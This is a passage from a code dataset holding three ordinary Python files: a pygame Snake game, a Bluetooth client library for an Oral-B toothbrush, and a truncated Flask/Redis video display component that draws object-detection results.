"call"}, {"api_name": "concurrentfloodscraper.url_builder.UrlBuilder", "line_number": 56, "usage_type": "name"}]} {"seq_id": "429896655", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n# author: bigfoolliu\n\n\n\"\"\"\n基于pygame模块做的贪吃蛇小游戏\n\"\"\"\nimport pygame\nimport numpy as np\nimport time\nfrom pygame.locals import *\n\nBOARD_WIDTH = 48\nBOARD_HEIGHT = 28\nscore = 0\n\n\nclass Food(object):\n \"\"\"食物\"\"\"\n\n def __init__(self):\n self.item = (4, 5) # 初始位置\n self.color = 255, 0, 255 # 颜色\n self.radius = 10 # 圆点直径\n self.width = 10\n\n def _draw(self, screen, i, j):\n \"\"\"画出食物\"\"\"\n position = 10 + 20 * i, 10 + 20 * j\n pygame.draw.circle(screen, self.color, position, self.radius, self.width)\n\n def update(self, screen, enlarge, snake):\n \"\"\"随机产生食物\"\"\"\n if enlarge:\n self.item = np.random.randint(1, BOARD_WIDTH - 2), np.random.randint(1, BOARD_HEIGHT - 2)\n while self.item in snake.item:\n self.item = np.random.randint(1, BOARD_WIDTH - 2), np.random.randint(1, BOARD_HEIGHT - 2)\n self._draw(screen, self.item[0], self.item[1])\n\n\nclass Snake(object):\n\n def __init__(self):\n # self.item = [[3, 25], [2, 25], [1, 25], [1, 24]] # 初始长度以及样子\n self.item = [[3, 25], [2, 25]] # 初始长度以及样子\n self.x = 0\n self.y = -1\n self.speed = 0.5 # 蛇的速度\n\n def move(self, enlarge):\n \"\"\"移动\"\"\"\n if not enlarge:\n self.item.pop()\n\n head = [self.item[0][0] + self.x, self.item[0][1] + self.y]\n self.item.insert(0, head)\n\n def eat(self, food):\n \"\"\"吃到食物\"\"\"\n global score\n snake_x, snake_y = self.item[0] # snake头的x和y的坐标\n food_x, food_y = food.item # food的x和y坐标\n if (food_x == snake_x) and (food_y == snake_y):\n score += 1\n return 1\n else:\n return 0\n\n def toward(self, x, y):\n \"\"\"改变蛇的朝向\"\"\"\n if self.x * x >= 0 and self.y * y >= 0:\n self.x = x\n self.y = y\n\n def get_head(self):\n \"\"\"获取蛇头坐标\"\"\"\n return self.item[0]\n\n def draw(self, screen):\n \"\"\"画出蛇\"\"\"\n radius = 15\n width = 15\n _color = 255, 0, 0\n position = 10 + 20 * self.item[0][0], 10 + 20 * self.item[0][1]\n pygame.draw.circle(screen, _color, position, radius, width) # 画蛇头\n\n radius = 10\n width = 10\n _color = 255, 255, 0\n for i, j in self.item[1:]:\n position = 10 + 20 * i, 10 + 20 * j\n pygame.draw.circle(screen, _color, position, radius, width) # 画蛇身体\n\n\nclass Board(object):\n \"\"\"屏幕\"\"\"\n\n def __init__(self):\n self.board_width = BOARD_WIDTH\n self.board_height = BOARD_HEIGHT\n\n def draw_board(self, screen):\n \"\"\"画出游戏区域\"\"\"\n _color = 0, 0, 0\n width = 0\n\n for i in range(self.board_width):\n pos = i * 20, 0, 20, 20\n pygame.draw.rect(screen, _color, pos, width)\n pos = i * 20, (self.board_height - 1) * 20, 20, 20\n pygame.draw.rect(screen, _color, pos, width)\n\n for i in range(self.board_height - 1):\n pos = 0, 20 + i * 20, 20, 20\n pygame.draw.rect(screen, _color, pos, width)\n pos = (self.board_width - 1) * 20, 20 + i * 20, 20, 20\n pygame.draw.rect(screen, _color, pos, width)\n\n @staticmethod\n def print_text(screen, font, x, y, text, _color=(255, 0, 0)):\n \"\"\"屏幕打印字符\"\"\"\n img_text = font.render(text, True, _color)\n screen.blit(img_text, (x, y))\n\n\nclass Game(object):\n\n def __init__(self):\n \"\"\"游戏初始化\"\"\"\n pygame.init()\n self.screen = pygame.display.set_mode((BOARD_WIDTH * 20, BOARD_HEIGHT * 20))\n pygame.display.set_caption(\"snake_game\")\n\n def game_start(self, screen):\n \"\"\"开始游戏\"\"\"\n snake = Snake()\n food = Food()\n board = Board()\n player = Player()\n font = pygame.font.SysFont(\"SimHei\", 30)\n is_fail = 0\n text = \"score: 0\"\n\n while True:\n for event in pygame.event.get():\n if event.type == QUIT:\n exit()\n\n screen.fill((0, 0, 100))\n board.draw_board(screen=screen)\n\n keys = pygame.key.get_pressed()\n player.press(keys, snake)\n\n if is_fail:\n font2 = pygame.font.Font(None, 40)\n board.print_text(screen, font, 0, 0, text)\n board.print_text(screen, font2, 400, 200, \"GAME OVER\")\n\n if not is_fail:\n enlarge = snake.eat(food)\n global score\n text = \"score: {}\".format(score)\n board.print_text(screen, font, 0, 0, text)\n food.update(screen, enlarge, snake)\n snake.move(enlarge)\n is_fail = self.game_over(snake=snake)\n snake.draw(screen)\n\n pygame.display.update()\n time.sleep(0.05)\n\n @staticmethod\n def game_over(snake):\n \"\"\"判断游戏是否结束\"\"\"\n board_x, board_y = snake.get_head()\n flag = 0\n old = len(snake.item)\n # 多重列表去重\n tmp_list = []\n for i in snake.item:\n if i not in tmp_list:\n tmp_list.append(i)\n new = len(tmp_list)\n\n if new < old:\n flag = 1\n if board_x == 0 or board_x == BOARD_WIDTH - 1:\n flag = 1\n if board_y == 0 or board_y == BOARD_HEIGHT - 1:\n flag = 1\n\n if flag:\n return True\n else:\n return False\n\n\nclass Player(object):\n\n def __init__(self):\n pass\n\n @staticmethod\n def press(keys, snake):\n \"\"\"按键控制\"\"\"\n global score\n if keys[K_w] or keys[K_UP]:\n snake.toward(0, -1)\n elif keys[K_s] or keys[K_DOWN]:\n snake.toward(0, 1)\n elif keys[K_a] or keys[K_LEFT]:\n snake.toward(-1, 0)\n elif keys[K_d] or keys[K_RIGHT]:\n snake.toward(1, 0)\n elif keys[K_r]: # 重置游戏\n score = 0\n main()\n\n\ndef main():\n game = Game()\n game.game_start(game.screen)\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "projects/games/snake_python/snake_game.py", "file_name": "snake_game.py", "file_ext": "py", "file_size_in_byte": 6311, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pygame.draw.circle", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 86, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 86, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 93, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 110, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 112, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 112, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 116, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 118, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 131, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 132, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 132, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 133, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 133, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 141, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 141, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 146, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 146, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 153, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 153, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 157, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 157, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 171, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 171, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 172, "usage_type": "call"}]} {"seq_id": "619212410", "text": "import struct\nfrom datetime import datetime, timedelta\nfrom typing import Callable, Iterable, Optional, NamedTuple\n\nfrom bluepy.btle import Peripheral, UUID, Characteristic, DefaultDelegate\n\nfrom OralBlue.BrushBattery import BrushBattery\nfrom OralBlue.BrushInfo import BrushInfo\nfrom OralBlue.BrushMode import BrushMode\nfrom OralBlue.BrushSector import BrushSector\nfrom OralBlue.BrushSession import BrushSession\nfrom OralBlue.BrushSignal import BrushSignal\nfrom OralBlue.BrushState import BrushState\nfrom OralBlue.OralBDate import OralBDate\n\n\nclass OralBButtonStatus(NamedTuple):\n powerButtonPressed: bool = False\n modeButtonPressed: bool = False\n\n#todo add sensor data\n#todo set signal not working?\nclass OralBToothbrush(Peripheral, DefaultDelegate):\n _TOOTHBRUSH_ID_TIME_CHAR = UUID(\"a0f0ff01-5047-4d53-8208-4f72616c2d42\")\n _MODEL_ID_CHAR = UUID(\"a0f0ff02-5047-4d53-8208-4f72616c2d42\")\n _USER_ID_CHAR = UUID(\"a0f0ff03-5047-4d53-8208-4f72616c2d42\")\n _STATUS_CHAR = UUID(\"a0f0ff04-5047-4d53-8208-4f72616c2d42\")\n _BATTERY_CHAR = UUID(\"a0f0ff05-5047-4d53-8208-4f72616c2d42\")\n _BUTTON_CHAR = UUID(\"a0f0ff06-5047-4d53-8208-4f72616c2d42\")\n _MODE_CHAR = UUID(\"a0f0ff07-5047-4d53-8208-4f72616c2d42\")\n _BRUSING_TIME_CHAR = UUID(\"a0f0ff08-5047-4d53-8208-4f72616c2d42\")\n _CURRENT_SECTOR_CHAR = UUID(\"a0f0ff09-5047-4d53-8208-4f72616c2d42\")\n _CONTROL_CHAR = UUID(\"a0f0ff21-5047-4d53-8208-4f72616c2d42\")\n _CURRENT_DATE_CHAR = UUID(\"a0f0ff22-5047-4d53-8208-4f72616c2d42\")\n _SIGNAL_CHAR = UUID(\"a0f0ff24-5047-4d53-8208-4f72616c2d42\")\n _AVAILABLE_MODES_CHAR = UUID(\"a0f0ff25-5047-4d53-8208-4f72616c2d42\")\n _SECTOR_TIME_CHAR = UUID(\"a0f0ff26-5047-4d53-8208-4f72616c2d42\")\n _SESSION_INFO_CHAR = UUID(\"a0f0ff29-5047-4d53-8208-4f72616c2d42\")\n\n BatteryStatusCallback = Callable[[BrushBattery], None]\n BrushingTimeCallback = Callable[[int], None]\n BrushStateCallback = Callable[[BrushState], None]\n BrushModeCallback = Callable[[BrushMode], None]\n BrushButtonCallback = Callable[[OralBButtonStatus], None]\n BrushCurrentSectorCallback = Callable[[BrushSector], None]\n\n def handleNotification(self, cHandle, data):\n print(\"notify {} -> {}\", cHandle, data)\n if cHandle in self._callbackMap:\n self._callbackMap[cHandle](data)\n\n @staticmethod\n def _findChar(uuid: UUID, chars: Iterable[Characteristic]) -> Optional[Characteristic]:\n results = filter(lambda x: x.uuid == uuid, chars)\n for result in results: # return the first match\n return result\n return None\n\n def __init__(self, address: str, protocolVersion: int = 1):\n super().__init__(address)\n self._protocolVersion = protocolVersion\n self.withDelegate(self)\n allChars = self.getCharacteristics()\n self._batteryChar = OralBToothbrush._findChar(OralBToothbrush._BATTERY_CHAR, allChars)\n self._brushingTimeChar = OralBToothbrush._findChar(OralBToothbrush._BRUSING_TIME_CHAR, allChars)\n self._statusChar = OralBToothbrush._findChar(OralBToothbrush._STATUS_CHAR, allChars)\n self._modeChar = OralBToothbrush._findChar(OralBToothbrush._MODE_CHAR, allChars)\n self._modelIdChar = OralBToothbrush._findChar(OralBToothbrush._MODEL_ID_CHAR, allChars)\n self._controlChar = OralBToothbrush._findChar(OralBToothbrush._CONTROL_CHAR, allChars)\n self._currentDateChar = OralBToothbrush._findChar(OralBToothbrush._CURRENT_DATE_CHAR, allChars)\n self._availableModesChar = OralBToothbrush._findChar(OralBToothbrush._AVAILABLE_MODES_CHAR, allChars)\n self._sessionInfoChar = OralBToothbrush._findChar(OralBToothbrush._SESSION_INFO_CHAR, allChars)\n self._signalChar = OralBToothbrush._findChar(OralBToothbrush._SIGNAL_CHAR, allChars)\n self._buttonChar = OralBToothbrush._findChar(OralBToothbrush._BUTTON_CHAR, allChars)\n self._currentSectorChar = OralBToothbrush._findChar(OralBToothbrush._CURRENT_SECTOR_CHAR, allChars)\n self._sectorTimeChar = OralBToothbrush._findChar(OralBToothbrush._SECTOR_TIME_CHAR, allChars)\n self._userIdChar = OralBToothbrush._findChar(OralBToothbrush._USER_ID_CHAR, allChars)\n self._toothbrushIdChar = OralBToothbrush._findChar(OralBToothbrush._TOOTHBRUSH_ID_TIME_CHAR, allChars)\n self._callbackMap = {}\n\n def _writeCharDescriptor(self, characteristic: Characteristic, data):\n notify_handle = characteristic.getHandle() + 1\n self.writeCharacteristic(notify_handle, data, withResponse=True)\n\n def _enableNotification(self, characteristic: Characteristic):\n if not (characteristic.properties & Characteristic.props[\"NOTIFY\"]):\n return\n self._writeCharDescriptor(characteristic, b\"\\x01\\x00\")\n\n def _disableNotification(self, characteristic: Characteristic):\n self._writeCharDescriptor(characteristic, b\"\\x00\\x00\")\n\n def _registerCallback(self, characteristic: Characteristic, callback: Callable):\n handle = characteristic.getHandle()\n self._callbackMap[handle] = callback\n self._enableNotification(characteristic)\n\n def _removeCallback(self, characteristic: Characteristic):\n handle = characteristic.getHandle()\n del self._callbackMap[handle]\n self._disableNotification(characteristic)\n\n @staticmethod\n def _parseBatteryStatysResponse(data) -> BrushBattery:\n if len(data) >= 3:\n remainingSec = struct.unpack(\"<H\",data[1:3])[0]\n return BrushBattery(level=data[0],remainingSec=timedelta(seconds=remainingSec))\n else:\n return BrushBattery(level=data[0])\n\n @staticmethod\n def _parseBrushingTimeResponse(data) -> int:\n return int(data[0]) * 60 + int(data[1])\n\n @staticmethod\n def _parseBrushStateResponse(data) -> BrushState:\n return BrushState(data[0])\n\n @staticmethod\n def _parseBrushModeResponse(data) -> BrushMode:\n return BrushMode(data[0])\n\n @staticmethod\n def _parseButtonStateResponse(data) -> OralBButtonStatus:\n return OralBButtonStatus(\n powerButtonPressed=bool(data[0]),\n modeButtonPressed=bool(data[1])\n )\n\n def readModelId(self) ->BrushInfo:\n data = self._modelIdChar.read()\n if len(data) == 3:\n return BrushInfo(type=data[0],protocolVersion=data[1],fwversion=data[2])\n else:\n return BrushInfo(type=data[0])\n\n def readBatteryStatus(self)->BrushBattery:\n data = self._batteryChar.read()\n return OralBToothbrush._parseBatteryStatysResponse(data)\n\n def setBatteryUpdateCallback(self, callback: Optional[BatteryStatusCallback]):\n if callback is None:\n self._removeCallback(self._batteryChar)\n else:\n self._registerCallback(self._batteryChar,\n lambda data: callback(OralBToothbrush._parseBatteryStatysResponse(data)))\n\n def readBrushingTime(self) -> int:\n data = self._brushingTimeChar.read()\n return OralBToothbrush._parseBrushingTimeResponse(data)\n\n def setBrushingTimeUpdateCallback(self, callback: Optional[BrushingTimeCallback]):\n if callback is None:\n self._removeCallback(self._brushingTimeChar)\n else:\n self._registerCallback(self._brushingTimeChar,\n lambda data: callback(\n OralBToothbrush._parseBrushingTimeResponse(data)))\n\n def readBrushState(self) -> BrushState:\n data = self._statusChar.read()\n return OralBToothbrush._parseBrushStateResponse(data)\n\n def setBrushStateUpdateCallback(self, callback: Optional[BrushStateCallback]):\n if callback is None:\n self._removeCallback(self._statusChar)\n else:\n self._registerCallback(self._statusChar,\n lambda data: callback(\n OralBToothbrush._parseBrushStateResponse(data)))\n\n def setBrushButtonPressedCallback(self, callback: Optional[BrushButtonCallback]):\n if callback is None:\n self._removeCallback(self._buttonChar)\n else:\n self._registerCallback(self._buttonChar,\n lambda data: callback(\n OralBToothbrush._parseButtonStateResponse(data)))\n\n def setBrushCurrentSectorCallback(self, callback: Optional[BrushCurrentSectorCallback]):\n if callback is None:\n self._removeCallback(self._currentSectorChar)\n else:\n self._registerCallback(self._currentSectorChar,\n lambda data: callback(BrushSector(data[0])))\n\n def readBrushMode(self) -> BrushMode:\n data = self._modeChar.read()\n return OralBToothbrush._parseBrushModeResponse(data)\n\n def setBrushModeUpdateCallback(self, callback: Optional[BrushModeCallback]):\n if callback is None:\n self._removeCallback(self._modeChar)\n else:\n self._registerCallback(self._modeChar,\n lambda data: callback(\n OralBToothbrush._parseBrushModeResponse(data)))\n\n def _writeControl(self, commandId: int, param: int):\n data = bytearray(2)\n data[0] = commandId\n data[1] = param\n self._controlChar.write(data)\n\n def readCurrentTime(self) -> datetime:\n # self._writeControl(0x01,0x00) #seemsnot needed...\n rawSecAfter2000 = self._currentDateChar.read()\n return OralBDate(rawSecAfter2000).datetime\n\n def setCurrentTime(self, now=datetime.now()):\n self._writeControl(0x37, 0x26)\n date = OralBDate.fromDatetime(now)\n self._currentDateChar.write(date.toBytes())\n\n def readAvailableModes(self) -> [BrushMode]:\n rawModes = self._availableModesChar.read()\n return [BrushMode(mode) for mode in rawModes]\n\n def writeAvailableModes(self, newOrder: [BrushMode]):\n self._writeControl(0x37, 0x29)\n rawData = bytearray(8)\n nMode = len(newOrder)\n rawData[0:nMode] = [mode.value for mode in newOrder]\n self._availableModesChar.write(rawData)\n\n def _nAvailableSessions(self) -> int:\n if 2 <= self._protocolVersion <= 4:\n return 30\n else:\n return 20\n\n def readSession(self) -> [BrushSession]:\n session = []\n for i in range(0, self._nAvailableSessions()):\n self._writeControl(2, i)\n data = self._sessionInfoChar.read()\n session.append(BrushSession(data,self._protocolVersion))\n return session\n\n def readSignalStatus(self) -> BrushSignal:\n rawData = self._signalChar.read()\n return BrushSignal.fromInt(rawData)\n\n def writeSignalStatus(self, newStatus: BrushSignal):\n self._writeControl(0x37, 0x28)\n rawData = struct.pack(\"I\",newStatus.toInt())\n self._signalChar.write(rawData)\n\n def readSectorTimer(self) -> [int]:\n rawData = self._sectorTimeChar.read()\n nSector = len(rawData) >> 1 # /2\n return struct.unpack(\"<\" + \"H\" * nSector, rawData)\n\n def setSectorTimer(self, time: [int]):\n missingValue = 8 - len(time)\n print(missingValue)\n time += [0] * missingValue\n print(time)\n rawTime = struct.pack(\"<\" + \"H\" * 8, *time)\n self._writeControl(0x37, 0x2A)\n self._sectorTimeChar.write(rawTime)\n\n def gerUserId(self) -> int:\n return self._userIdChar.read()[0]\n\n def setUserId(self, newId: int):\n rawTime = struct.pack(\"B\", newId)\n self._userIdChar.write(rawTime)\n\n def readToothbrushId(self) -> int:\n rawData = self._toothbrushIdChar.read()\n return struct.unpack(\"<I\", rawData[0:4])[0]\n", "sub_path": "OralBlue/OralBToothbrush.py", "file_name": "OralBToothbrush.py", "file_ext": "py", "file_size_in_byte": 11782, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "typing.NamedTuple", "line_number": 17, "usage_type": "name"}, {"api_name": "bluepy.btle.Peripheral", "line_number": 23, "usage_type": "name"}, {"api_name": "bluepy.btle.DefaultDelegate", "line_number": 23, "usage_type": "name"}, {"api_name": "bluepy.btle.UUID", "line_number": 24, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 25, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 26, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 27, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 28, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 29, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 30, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 31, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 32, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 33, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 34, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 35, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 36, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 37, "usage_type": "call"}, {"api_name": "bluepy.btle.UUID", "line_number": 38, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 40, "usage_type": "name"}, {"api_name": "OralBlue.BrushBattery.BrushBattery", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 42, "usage_type": "name"}, {"api_name": "OralBlue.BrushState.BrushState", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 43, "usage_type": "name"}, {"api_name": "OralBlue.BrushMode.BrushMode", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 45, "usage_type": "name"}, {"api_name": "OralBlue.BrushSector.BrushSector", "line_number": 45, "usage_type": "name"}, {"api_name": "bluepy.btle.UUID", "line_number": 53, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 53, "usage_type": "name"}, {"api_name": "bluepy.btle.Characteristic", "line_number": 53, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 53, "usage_type": "name"}, {"api_name": "bluepy.btle.Characteristic", "line_number": 81, "usage_type": "name"}, {"api_name": "bluepy.btle.Characteristic", "line_number": 85, "usage_type": "name"}, {"api_name": "bluepy.btle.Characteristic.props", "line_number": 86, "usage_type": "attribute"}, {"api_name": "bluepy.btle.Characteristic", "line_number": 86, "usage_type": "name"}, {"api_name": "bluepy.btle.Characteristic", "line_number": 90, "usage_type": "name"}, {"api_name": "bluepy.btle.Characteristic", "line_number": 93, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 93, "usage_type": "name"}, {"api_name": "bluepy.btle.Characteristic", "line_number": 98, "usage_type": "name"}, {"api_name": "struct.unpack", "line_number": 106, "usage_type": "call"}, {"api_name": "OralBlue.BrushBattery.BrushBattery", "line_number": 107, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 107, "usage_type": "call"}, {"api_name": "OralBlue.BrushBattery.BrushBattery", "line_number": 109, "usage_type": "call"}, {"api_name": "OralBlue.BrushBattery.BrushBattery", "line_number": 104, "usage_type": "name"}, {"api_name": "OralBlue.BrushState.BrushState", "line_number": 117, "usage_type": "call"}, {"api_name": "OralBlue.BrushState.BrushState", "line_number": 116, "usage_type": "name"}, {"api_name": "OralBlue.BrushMode.BrushMode", "line_number": 121, "usage_type": "call"}, {"api_name": "OralBlue.BrushMode.BrushMode", "line_number": 120, "usage_type": "name"}, {"api_name": "OralBlue.BrushInfo.BrushInfo", "line_number": 133, "usage_type": "call"}, {"api_name": "OralBlue.BrushInfo.BrushInfo", "line_number": 135, "usage_type": "call"}, {"api_name": "OralBlue.BrushInfo.BrushInfo", "line_number": 130, "usage_type": "name"}, {"api_name": "OralBlue.BrushBattery.BrushBattery", "line_number": 137, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 141, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 152, "usage_type": "name"}, {"api_name": "OralBlue.BrushState.BrushState", "line_number": 160, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 164, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 172, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 180, "usage_type": "name"}, {"api_name": "OralBlue.BrushSector.BrushSector", "line_number": 185, "usage_type": "call"}, {"api_name": "OralBlue.BrushMode.BrushMode", "line_number": 187, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 191, "usage_type": "name"}, {"api_name": "OralBlue.OralBDate.OralBDate", "line_number": 208, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 205, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 210, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 210, "usage_type": "name"}, {"api_name": "OralBlue.OralBDate.OralBDate.fromDatetime", "line_number": 212, "usage_type": "call"}, {"api_name": "OralBlue.OralBDate.OralBDate", "line_number": 212, "usage_type": "name"}, {"api_name": "OralBlue.BrushMode.BrushMode", "line_number": 217, "usage_type": "call"}, {"api_name": "OralBlue.BrushMode.BrushMode", "line_number": 215, "usage_type": "name"}, {"api_name": "OralBlue.BrushMode.BrushMode", "line_number": 219, "usage_type": "name"}, {"api_name": "OralBlue.BrushSession.BrushSession", "line_number": 237, "usage_type": "call"}, {"api_name": "OralBlue.BrushSession.BrushSession", "line_number": 232, "usage_type": "name"}, {"api_name": "OralBlue.BrushSignal.BrushSignal.fromInt", "line_number": 242, "usage_type": "call"}, {"api_name": "OralBlue.BrushSignal.BrushSignal", "line_number": 242, "usage_type": "name"}, {"api_name": "OralBlue.BrushSignal.BrushSignal", "line_number": 240, "usage_type": "name"}, {"api_name": "OralBlue.BrushSignal.BrushSignal", "line_number": 244, "usage_type": "name"}, {"api_name": "struct.pack", "line_number": 246, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 252, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 259, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 267, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 272, "usage_type": "call"}]} {"seq_id": "387225925", "text": "import argparse\nfrom typing import Optional\nfrom urllib.parse import urlparse\nfrom flask import Flask, Response\n\nfrom pipert.contrib.metrics_collectors.prometheus_collector import PrometheusCollector\nfrom pipert.core.component import BaseComponent\nfrom pipert.contrib.metrics_collectors.splunk_collector import SplunkCollector\nfrom pipert.core.metrics_collector import NullCollector\nfrom pipert.core.routine import Routine\nimport queue\nfrom threading import Thread\nimport cv2\nfrom pipert.utils.visualizer import VideoVisualizer\nfrom pipert.utils.visualizer.catalog import MetadataCatalog\nfrom pipert.core.message import message_decode, Message\nfrom pipert.core.message_handlers import RedisHandler\nfrom pipert.core import QueueHandler\nimport time\nimport os\n\n\ndef gen(q: QueueHandler):\n while True:\n encoded_frame = q.non_blocking_get()\n if encoded_frame:\n yield (b'--frame\\r\\n'\n b'Pragma-directive: no-cache\\r\\n'\n b'Cache-directive: no-cache\\r\\n'\n b'Cache-control: no-cache\\r\\n'\n b'Pragma: no-cache\\r\\n'\n b'Expires: 0\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + encoded_frame + b'\\r\\n\\r\\n')\n\n\nclass MetaAndFrameFromRedis(Routine):\n\n def __init__(self, in_key_meta, in_key_im, url, queue, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.in_key_meta = in_key_meta\n self.in_key_im = in_key_im\n self.url = url\n self.q_handler = QueueHandler(queue)\n self.msg_handler = None\n self.flip = False\n self.negative = False\n\n def receive_msg(self, in_key, most_recent=True):\n if most_recent:\n encoded_msg = self.msg_handler.read_most_recent_msg(in_key)\n else:\n encoded_msg = self.msg_handler.receive(in_key)\n if not encoded_msg:\n return None\n msg = message_decode(encoded_msg)\n msg.record_entry(self.component_name, self.logger)\n return msg\n\n def main_logic(self, *args, **kwargs):\n pred_msg = self.receive_msg(self.in_key_meta, most_recent=True)\n frame_msg = self.receive_msg(self.in_key_im, most_recent=False)\n if frame_msg:\n arr = frame_msg.get_payload()\n\n if self.flip:\n arr = cv2.flip(arr, 1)\n\n if self.negative:\n arr = 255 - arr\n\n frame_msg.update_payload(arr)\n success = self.q_handler.deque_non_blocking_put((frame_msg, pred_msg))\n return success\n else:\n time.sleep(0)\n return False\n\n def setup(self, *args, **kwargs):\n self.msg_handler = RedisHandler(self.url)\n\n def cleanup(self, *args, **kwargs):\n self.msg_handler.close()\n\n\nclass VisLogic(Routine):\n def __init__(self, in_queue, out_queue, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.in_queue = QueueHandler(in_queue)\n self.out_queue = QueueHandler(out_queue)\n self.vis = VideoVisualizer(MetadataCatalog.get(\"coco_2017_train\"))\n self.latest_pred_msg = None\n\n def main_logic(self, *args, **kwargs):\n # TODO implement input that takes both frame and metadata\n messages = self.in_queue.non_blocking_get()\n if messages:\n frame_msg, pred_msg = messages\n if pred_msg is not None:\n self.latest_pred_msg = pred_msg\n pred_msg = self.latest_pred_msg\n self.draw_preds_on_frame(frame_msg, pred_msg)\n self.pass_frame_to_flask(frame_msg, pred_msg)\n return True\n else:\n return None\n\n def draw_preds_on_frame(self, frame_msg, pred_msg: Optional[Message]):\n if pred_msg is not None and not pred_msg.is_empty():\n frame = frame_msg.get_payload()\n pred = pred_msg.get_payload()\n image = self.vis.draw_instance_predictions(frame, pred, args_dict['names']) \\\n .get_image()\n frame_msg.update_payload(image)\n\n def pass_frame_to_flask(self, frame_msg, pred_msg: Optional[Message]):\n image = frame_msg.get_payload()\n _, frame = cv2.imencode('.jpg', image)\n frame = frame.tobytes()\n frame_msg.record_exit(self.component_name, self.logger)\n if pred_msg is not None and not pred_msg.reached_exit:\n pred_msg.record_exit(self.component_name, self.logger)\n latency = pred_msg.get_end_to_end_latency(self.component_name)\n if latency is not None:\n self.metrics_collector.collect_latency(latency, self.component_name)\n success = self.out_queue.deque_non_blocking_put(frame)\n return success\n\n def setup(self, *args, **kwargs):\n self.state.dropped = 0\n\n def cleanup(self, *args, **kwargs):\n pass\n\n\nclass FlaskVideoDisplay(BaseComponent):\n\n def __init__(self, in_key_meta, in_key_im, redis_url, metrics_collector, endpoint,\n name=\"FlaskVideoDisplay\"):\n super().__init__(endpoint, name, metrics_collector)\n self.queue = queue.Queue(maxsize=1)\n self.t_get = MetaAndFrameFromRedis(in_key_meta, in_key_im, redis_url,\n self.queue,\n name=\"get_frames_and_preds\",\n 